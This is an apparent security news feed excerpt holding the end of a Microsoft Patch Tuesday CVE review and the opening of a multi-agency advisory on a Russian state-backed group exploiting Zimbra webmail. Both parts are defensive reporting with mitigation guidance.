  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
